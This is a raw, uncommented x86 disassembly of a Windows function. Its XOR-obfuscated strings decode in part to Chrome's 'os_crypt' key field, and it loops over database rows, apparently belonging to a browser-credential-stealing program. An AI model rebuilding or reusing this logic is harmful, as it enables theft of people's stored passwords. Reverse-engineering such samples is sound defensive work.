lea ecx, [ebp + 0x3c]
call fcn.00468880
mov edi, dword [ebp - 0x34]
cmp byte [ebp + 0x20], 0
jne 0x426209
mov eax, dword [ebp - 0x30]
lea ecx, [edi + edi*2]
cmp dword [eax + ecx*8 + 0x10], 0
lea edx, [eax + ecx*8]
je 0x426209
lea eax, [ebp - 0x12b]
mov word [ebp - 0x12b], 0x5c
push eax
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 0x129], 0
call fcn.0046d070
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x28
mov ebx, dword [ebp - 0x10]
or ebx, 0x20
jmp 0x426258
xor eax, eax
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], al
lea esi, [ebp - 0x4b0]
mov dword [ebp - 4], 0x29
mov ebx, dword [ebp - 0x10]
or ebx, 0x40
mov dword [ebp - 0x10], ebx
mov word [ebp - 0x73], 0x5c
mov byte [ebp - 0x71], 0
mov dword [ebp - 4], 0x2a
lea ecx, [ebp - 0x73]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426272
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xfc]
sub eax, edx
cmp eax, ecx
jb 0x4289f8
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
jbe 0x4262a5
mov eax, dword [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x73]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x20]
lea ecx, [ebp - 0x75c]
call fcn.00470ea0
or ebx, 0x100000
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x75c]
push esi
push eax
push dword [ebp + 0x20]
lea ecx, [ebp - 0x744]
call fcn.00470cf0
sub esp, 0x18
lea eax, [ebp + 0x3c]
or ebx, 0x200000
lea edx, [ebp - 0x744]
mov dword [ebp - 0x10], ebx
mov ecx, esp
mov dword [ebp - 0x640], esp
push eax
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x2c
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x684]
call fcn.0040acf0
add esp, 0x18
mov byte [ebp - 4], 0x2d
and ebx, 0xffdfffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x744]
call fcn.00402c80
and ebx, 0xffefffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x75c]
call fcn.00402c80
mov byte [ebp - 4], 0x30
test bl, 0x40
je 0x4263b2
and ebx, 0xffffffbf
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0x49c]
cmp ecx, 0xf
jbe 0x426397
mov edx, dword [ebp - 0x4b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42638d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], 0
mov byte [ebp - 4], 0x31
test bl, 0x20
je 0x4263cc
and ebx, 0xffffffdf
lea ecx, [ebp - 0x7bc]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
xor eax, eax
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], eax
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], 0xf
mov byte [ebp - 0x358], al
mov byte [ebp - 4], 0x32
cmp dword [ebp - 0x674], eax
je 0x426764
cmp dword [ebp - 0x320], eax
jne 0x426764
push eax
push 1
sub esp, 0x28
mov eax, esp
mov dword [ebp - 0x644], esp
mov dword [ebp - 0x654], eax
mov dword [eax + 0x24], 0
mov byte [ebp - 4], 0x34
mov byte [ebp - 4], 0x32
lea edx, [ebp - 0x684]
lea ecx, [ebp - 0x630]
call fcn.0046d980
add esp, 0x30
mov byte [ebp - 4], 0x35
xor ecx, ecx
mov dword [ebp - 0xbe], 0x89b69b88
mov dword [ebp - 0xba], 0x9a9d9599
mov word [ebp - 0xb6], 0x100
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xbe], al
inc ecx
cmp ecx, 8
jb 0x426480
lea eax, [ebp - 0xbe]
mov byte [ebp - 0xb5], 0
push eax
lea ecx, [ebp - 0x630]
call fcn.0046d4f0
cmp byte [eax], 0
je 0x42674f
mov dword [ebp - 0xc8], 0x89b69b88
xor ecx, ecx
mov dword [ebp - 0xc4], 0x9a9d9599
mov word [ebp - 0xc0], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 8
jb 0x4264d2
lea eax, [ebp - 0xc8]
mov byte [ebp - 0xbf], 0
push eax
lea ecx, [ebp - 0x630]
call fcn.0046d4f0
mov edx, eax
mov dword [ebp - 0x198], 0x988a8682
mov dword [ebp - 0x194], 0x8b999c92
xor ecx, ecx
mov dword [ebp - 0x190], 0x979aaf8b
mov word [ebp - 0x18c], 0x8a
mov byte [ebp - 0x18a], 1
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x198], al
inc ecx
cmp ecx, 0xd
jb 0x426530
lea eax, [ebp - 0x198]
mov byte [ebp - 0x18a], 0
push eax
mov ecx, edx
call fcn.0046d4f0
cmp byte [eax], 0
je 0x42674f
mov dword [ebp - 0xd2], 0x89b69b88
xor ecx, ecx
mov dword [ebp - 0xce], 0x9a9d9599
mov word [ebp - 0xca], 0x100
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xd2], al
inc ecx
cmp ecx, 8
jb 0x426580
lea eax, [ebp - 0xd2]
mov byte [ebp - 0xc9], 0
push eax
lea ecx, [ebp - 0x630]
call fcn.0046d4f0
mov edx, eax
mov dword [ebp - 0x189], 0x988a8682
mov dword [ebp - 0x185], 0x8b999c92
xor ecx, ecx
mov dword [ebp - 0x181], 0x979aaf8b
mov word [ebp - 0x17d], 0x8a
mov byte [ebp - 0x17b], 1
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x189], al
inc ecx
cmp ecx, 0xd
jb 0x4265e0
lea eax, [ebp - 0x189]
mov byte [ebp - 0x17b], 0
push eax
mov ecx, edx
call fcn.0046d4f0
lea ecx, [ebp - 0x7d4]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0x37
mov edx, eax
lea ecx, [ebp - 0x474]
call fcn.00402790
mov byte [ebp - 4], 0x38
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x474]
push eax
call fcn.004dfb01
mov edx, dword [ebp - 0x470]
mov esi, eax
mov ecx, dword [ebp - 0x474]
sub edx, ecx
push edx
push ecx
push esi
call fcn.004e1370
mov eax, dword [ebp - 0x470]
xor ecx, ecx
sub eax, dword [ebp - 0x474]
add esp, 0x10
mov dword [ebp - 0x388], ecx
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x380], ecx
push eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x378], ecx
mov dword [ebp - 0x374], ecx
lea ecx, [ebp - 0x388]
push esi
call fcn.00402ea0
mov esi, dword [ebp - 0x60]
or esi, 8
mov dword [ebp - 0x60], esi
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x474]
call fcn.00402c00
lea ecx, [ebp - 0x358]
call fcn.00402c80
mov eax, dword [ebp - 0x388]
and esi, 0xfffffff7
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x374], 0xf
mov byte [ebp - 0x388], 0
mov dword [ebp - 0x60], esi
mov byte [ebp - 4], 0x36
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x374], 0xf
mov byte [ebp - 0x388], 0
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x7d4]
call fcn.00402c80
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x628]
push dword [ebp - 0x630]
call fcn.0046a270
mov eax, dword [ebp - 0x348]
test eax, eax
jne 0x42679d
cmp dword [ebp - 0x31c], 0xf
lea eax, [ebp - 0x330]
jbe 0x426783
mov eax, dword [ebp - 0x330]
push dword [ebp - 0x320]
lea ecx, [ebp - 0x358]
push eax
call fcn.00468880
mov eax, dword [ebp - 0x348]
test eax, eax
push 0
lea ecx, [ebp - 0x5b0]
mov byte [ebp - 0x5b8], 0
setne byte [ebp - 0x21]
call fcn.0046a5a0
mov byte [ebp - 4], 0x3a
lea ecx, [edi + edi*2]
mov eax, dword [ebp - 0x30]
shl ecx, 3
add eax, ecx
mov dword [ebp - 0x50], ecx
cmp dword [eax + 0x10], 0
jbe 0x4267ea
push eax
lea ecx, [ebp - 0x7ec]
call fcn.00468b20
mov esi, eax
mov byte [ebp - 4], 0x3b
or ebx, 0x80
jmp 0x426886
mov dword [ebp - 0xaa], 0x8b8f8da3
xor ecx, ecx
mov dword [ebp - 0xa6], 0x99809e
mov byte [ebp - 0xa2], 1
jmp 0x426810
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xaa], al
inc ecx
cmp ecx, 7
jb 0x426810
xor eax, eax
mov byte [ebp - 0xa2], 0
lea ecx, [ebp - 0xaa]
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], eax
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426857
sub ecx, edx
lea eax, [ebp - 0xaa]
push ecx
push eax
lea ecx, [ebp - 0x548]
call fcn.00402ea0
lea esi, [ebp - 0x548]
mov dword [ebp - 4], 0x3c
or ebx, 0x100
sub esp, 8
mov dword [ebp - 0x10], ebx
mov eax, esp
lea ecx, [ebp - 0x4f0]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004666e0
add esp, 8
mov dword [ebp - 4], 0x3d
lea ecx, [ebp - 0x5b8]
push esi
call fcn.00465f40
mov edi, eax
mov dword [ebp - 4], 0x3e
mov dl, byte [edi]
mov cl, byte [ebp - 0x4f0]
mov byte [edi], cl
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [ebp - 0x4e4]
mov byte [ebp - 0x4f0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x4e8], edx
mov dword [ebp - 0x4e4], esi
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x4e8]
push dword [ebp - 0x4f0]
call fcn.0046a270
mov dword [ebp - 4], 0x3b
test ebx, 0x100
je 0x42697b
and ebx, 0xfffffeff
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0x534]
cmp ecx, 0xf
jbe 0x426960
mov edx, dword [ebp - 0x548]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426956
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x534], 0xf
mov byte [ebp - 0x548], 0
mov dword [ebp - 4], 0x3a
test bl, bl
jns 0x42699a
and ebx, 0xffffff7f
lea ecx, [ebp - 0x7ec]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
cmp byte [ebp + 0x20], 0
jne 0x4269df
mov edx, dword [ebp - 0x50]
add edx, dword [ebp - 0x30]
cmp dword [edx + 0x10], 0
je 0x4269df
lea eax, [ebp - 0x128]
mov word [ebp - 0x128], 0x5c
push eax
lea ecx, [ebp - 0x804]
mov byte [ebp - 0x126], 0
call fcn.0046d070
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x3f
or ebx, 0x200
jmp 0x426a2e
xor eax, eax
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], 0xf
mov byte [ebp - 0x4c8], al
lea esi, [ebp - 0x4c8]
mov dword [ebp - 4], 0x40
or ebx, 0x400
mov dword [ebp - 0x10], ebx
mov word [ebp - 0x76], 0x5c
mov byte [ebp - 0x74], 0
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x76]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426a48
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xfc]
sub eax, edx
cmp eax, ecx
jb 0x4289f8
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
jbe 0x426a7b
mov eax, dword [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x76]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x20]
lea ecx, [ebp - 0x78c]
call fcn.00470ea0
or ebx, 0x10000
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x42
lea eax, [ebp - 0x78c]
push esi
push eax
push dword [ebp + 0x20]
lea ecx, [ebp - 0x774]
call fcn.00470cf0
lea eax, [ebp + 0x24]
or ebx, 0x8000
push eax
lea edx, [ebp - 0x774]
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x66c]
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x43
and ebx, 0xffff7fff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x774]
call fcn.00402c80
and ebx, 0xfffeffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x78c]
call fcn.00402c80
mov byte [ebp - 4], 0x46
test ebx, 0x400
je 0x426b73
and ebx, 0xfffffbff
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0x4b4]
cmp ecx, 0xf
jbe 0x426b58
mov edx, dword [ebp - 0x4c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426b4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x4b8], 0
mov dword [ebp - 0x4b4], 0xf
mov byte [ebp - 0x4c8], 0
mov byte [ebp - 4], 0x47
test ebx, 0x200
je 0x426b93
and ebx, 0xfffffdff
lea ecx, [ebp - 0x804]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
cmp dword [ebp - 0x658], 0xf
lea ecx, [ebp - 0x66c]
jbe 0x426ba8
mov ecx, dword [ebp - 0x66c]
lea edx, [ebp - 0x64]
call fcn.00414a20
test eax, eax
jne 0x4288ff
mov dword [ebp - 0x2f6], 0xafa5adb4
xor ecx, ecx
mov dword [ebp - 0x2f2], 0x80cdb8a8
mov dword [ebp - 0x2ee], 0xad949d8e
mov dword [ebp - 0x2ea], 0x95aa9a9c
mov dword [ebp - 0x2e6], 0xd69d8a96
mov dword [ebp - 0x2e2], 0x8e8599db
mov dword [ebp - 0x2de], 0x76607296
mov dword [ebp - 0x2da], 0x596b6b6a
mov dword [ebp - 0x2d6], 0x7e67676a
mov dword [ebp - 0x2d2], 0x6b2d2063
mov dword [ebp - 0x2ce], 0x60786077
mov dword [ebp - 0x2ca], 0x797c6072
mov dword [ebp - 0x2c6], 0x7f604779
mov dword [ebp - 0x2c2], 0x3e316e7a
mov dword [ebp - 0x2be], 0x4653417c
mov dword [ebp - 0x2ba], 0x4b504a7c
mov dword [ebp - 0x2b6], 0x755b4d45
mov dword [ebp - 0x2b2], 0x5c4e424e
mov dword [ebp - 0x2ae], 0x57454056
mov dword [ebp - 0x2aa], 0x59151857
mov dword [ebp - 0x2a6], 0x535e5145
mov dword [ebp - 0x2a2], 0x5c1d1055
mov dword [ebp - 0x29e], 0x2b2d2c56
mov dword [ebp - 0x29a], 0x271a232d
mov dword [ebp - 0x296], 0x2f3b2c23
mov dword [ebp - 0x292], 0x27123f38
mov dword [ebp - 0x28e], 0x3c717c2b
mov dword [ebp - 0x28a], 0x383e373a
mov dword [ebp - 0x286], 0x7a3c3536
mov dword [ebp - 0x282], 0x13120e1d
mov dword [ebp - 0x27e], 0x713037f
mov dword [ebp - 0x27a], 0x39110d07
mov dword [ebp - 0x276], 0xe1b0904
mov word [ebp - 0x272], 0x18
mov byte [ebp - 0x270], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x2f6], al
inc ecx
cmp ecx, 0x85
jb 0x426d14
mov ecx, dword [ebp - 0x64]
lea eax, [ebp - 0x1d0]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x2f6]
mov byte [ebp - 0x270], 0
call fcn.004c63d0
add esp, 0x14
test eax, eax
jne 0x427e52
mov ebx, dword [ebp - 0x1d0]
mov ecx, ebx
call fcn.004a3c40
cmp eax, 0x64
jne 0x427ddc
lea ecx, [ecx]
push 0
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x48], 0
call fcn.0046a5a0
mov byte [ebp - 4], 0x49
test ebx, ebx
je 0x426dd1
cmp dword [ebx + 0x2c], 0
je 0x426dac
xor eax, eax
cmp ax, word [ebx + 0x30]
jae 0x426dac
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426da7
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
jmp 0x426dd6
mov eax, dword [ebx]
test eax, eax
je 0x426dd1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426dc3
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x426e32
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x426e15
cmp byte [esi + 0x1e], 0
jne 0x426dfa
cmp ecx, 0xc0a
jne 0x426e10
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x426e1a
mov eax, 0xff
and ecx, eax
mov dword [ebx + 0x64], ecx
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426e32
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x430], 0
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x4a
xor ecx, ecx
mov dword [ebp - 0x16c], 0x8f848989
mov dword [ebp - 0x168], 0xb18383b4
mov dword [ebp - 0x164], 0x9683918c
mov word [ebp - 0x160], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x16c], al
inc ecx
cmp ecx, 0xc
jb 0x426e85
lea eax, [ebp - 0x16c]
mov byte [ebp - 0x15f], 0
push eax
lea ecx, [ebp - 0x48]
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x4b
mov dl, byte [edi]
mov cl, byte [ebp - 0x430]
mov byte [edi], cl
mov eax, dword [ebp - 0x428]
mov ecx, dword [ebp - 0x424]
mov byte [ebp - 0x430], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x428]
push dword [ebp - 0x430]
call fcn.0046a270
test ebx, ebx
je 0x426f50
cmp dword [ebx + 0x2c], 0
je 0x426f2b
mov eax, 1
cmp ax, word [ebx + 0x30]
jae 0x426f2b
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426f23
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x28
jmp 0x426f55
mov eax, dword [ebx]
test eax, eax
je 0x426f50
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426f42
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x426fb1
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x426f94
cmp byte [esi + 0x1e], 0
jne 0x426f79
cmp ecx, 0xc0a
jne 0x426f8f
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x426f99
mov eax, 0xff
and ecx, eax
mov dword [ebx + 0x64], ecx
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x426fb1
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x420], 0
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x4c
xor ecx, ecx
mov dword [ebp - 0x217], 0x83999082
mov dword [ebp - 0x213], 0x87998d99
mov dword [ebp - 0x20f], 0x9fae9e80
mov dword [ebp - 0x20b], 0x9e819a9c
mov word [ebp - 0x207], 0x100
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x217], al
inc ecx
cmp ecx, 0x10
jb 0x427010
lea eax, [ebp - 0x217]
mov byte [ebp - 0x206], 0
push eax
lea ecx, [ebp - 0x48]
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x4d
mov dl, byte [edi]
mov cl, byte [ebp - 0x420]
mov byte [edi], cl
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 0x414]
mov byte [ebp - 0x420], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x418], edx
mov dword [ebp - 0x414], esi
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x418]
push dword [ebp - 0x420]
call fcn.0046a270
test ebx, ebx
je 0x4270db
cmp dword [ebx + 0x2c], 0
je 0x4270b6
mov eax, 2
cmp ax, word [ebx + 0x30]
jae 0x4270b6
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4270ae
push eax
call dword [0x541f10]
add esp, 4
mov ecx, dword [ebx + 0x2c]
add ecx, 0x50
jmp 0x4270e0
mov eax, dword [ebx]
test eax, eax
je 0x4270db
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4270cd
push eax
call dword [0x541f10]
add esp, 4
push 0
push 0x19
push dword [ebx]
call fcn.00493610
add esp, 0xc
mov ecx, 0x526330
mov dl, 1
call fcn.004a1090
mov edi, eax
test ebx, ebx
je 0x42713c
mov esi, dword [ebx]
mov ecx, dword [ebx + 0x64]
test esi, esi
je 0x42711f
cmp byte [esi + 0x1e], 0
jne 0x427104
cmp ecx, 0xc0a
jne 0x42711a
push 0
push 7
push esi
call fcn.00493610
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x427124
mov eax, 0xff
and eax, ecx
mov dword [ebx + 0x64], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42713c
push eax
call dword [0x541f18]
add esp, 4
xor eax, eax
mov dword [ebp - 0x14], edi
lea edx, [ebp - 0x14]
mov byte [ebp - 0x410], 0
lea ecx, [ebp - 0x410]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], eax
call fcn.0047eb30
mov byte [ebp - 4], 0x4e
xor ecx, ecx
mov dword [ebp - 0x1e1], 0x83999082
mov dword [ebp - 0x1dd], 0x87998d99
mov dword [ebp - 0x1d9], 0x8bae9e80
mov dword [ebp - 0x1d5], 0x879596
mov byte [ebp - 0x1d1], 1
jmp 0x4271a0
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1e1], al
inc ecx
cmp ecx, 0xf
jb 0x4271a0
lea eax, [ebp - 0x1e1]
mov byte [ebp - 0x1d1], 0
push eax
lea ecx, [ebp - 0x48]
call fcn.0046d4f0
mov edi, eax
mov byte [ebp - 4], 0x4f
mov dl, byte [edi]
mov cl, byte [ebp - 0x410]
mov byte [edi], cl
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 0x404]
mov byte [ebp - 0x410], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x408], edx
mov dword [ebp - 0x404], esi
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x408]
push dword [ebp - 0x410]
call fcn.0046a270
mov edi, 3
mov ecx, ebx
mov edx, edi
call fcn.004a41a0
mov edx, edi
mov ecx, ebx
mov esi, eax
call fcn.004a4290
xor ecx, ecx
mov dword [ebp - 0x518], ecx
mov dword [ebp - 0x508], ecx
mov dword [ebp - 0x504], ecx
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x510], ecx
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x508], ecx
mov dword [ebp - 0x504], 0xf
mov byte [ebp - 0x518], cl
mov byte [ebp - 4], 0x50
push eax
mov dword [ebp - 0x5e8], ecx
mov dword [ebp - 0x5e4], ecx
mov dword [ebp - 0x5e0], ecx
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x5d8], ecx
mov dword [ebp - 0x5d4], ecx
lea ecx, [ebp - 0x5e8]
push esi
call fcn.00402ea0
mov byte [ebp - 4], 0x51
cmp byte [ebp - 0x21], 0
je 0x427366
mov dword [ebp - 0x5a], 0xd9d991
xor ecx, ecx
mov byte [ebp - 0x56], 1
jmp 0x4272c0
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x5a], al
inc ecx
cmp ecx, 3
jb 0x4272c0
lea eax, [ebp - 0x5a]
mov byte [ebp - 0x56], 0
push eax
push esi
call fcn.004e0f60
add esp, 8
test eax, eax
jne 0x427313
mov dword [ebp - 0x55], 0xd8d991
xor ecx, ecx
mov byte [ebp - 0x51], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 3
jb 0x4272f0
lea eax, [ebp - 0x55]
mov byte [ebp - 0x51], 0
push eax
push esi
call fcn.004e0f60
add esp, 8
test eax, eax
je 0x427366
sub esp, 0x18
mov byte [ebp - 0x49], 0
lea eax, [ebp - 0x5e8]
mov dword [ebp - 0x650], esp
mov ecx, esp
lea esi, [ebp - 0x518]
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x52
sub esp, 0x18
lea eax, [ebp - 0x358]
mov dword [ebp - 0x648], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x53
mov byte [ebp - 4], 0x51
mov ecx, esi
mov dl, byte [ebp - 0x49]
call fcn.0041fca0
add esp, 0x30
jmp 0x427377
push ecx
lea edx, [ebp - 0x518]
mov ecx, esi
call fcn.0041fb00
add esp, 4
xor eax, eax
mov byte [ebp - 0x340], 0
push 0x18
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], eax
mov byte [ebp - 0x340], 3
call fcn.004df872
lea ecx, [ebp - 0x315]
mov dword [ebp - 0x4cc], eax
add esp, 4
mov dword [ebp - 0x4d0], ecx
mov byte [ebp - 4], 0x54
lea eax, [ebp - 0x518]
mov ecx, dword [ebp - 0x4cc]
push eax
call fcn.00468b20
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x4cc], 0
mov byte [ebp - 4], 0x51
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x334], eax
mov byte [ebp - 4], 0x55
xor ecx, ecx
mov dword [ebp - 0xf3], 0x8e9b8984
mov dword [ebp - 0xef], 0x839882b4
mov dword [ebp - 0xeb], 0x83958d
mov byte [ebp - 0xe7], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xf3], al
inc ecx
cmp ecx, 0xb
jb 0x427413
mov al, byte [ebp - 0x48]
mov byte [ebp - 0xe7], 0
test al, al
jne 0x42745a
push 1
lea ecx, [ebp - 0x608]
mov byte [ebp - 0x48], 1
call fcn.0046a5a0
mov eax, dword [ebp - 0x604]
mov esi, dword [ebp - 0x608]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], eax
mov al, byte [ebp - 0x48]
jmp 0x42745d
mov esi, dword [ebp - 0x40]
cmp al, 1
jne 0x428af8
xor eax, eax
lea edx, [ebp - 0xf3]
mov dword [ebp - 0x578], eax
lea ecx, [edx + 1]
mov dword [ebp - 0x574], eax
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], eax
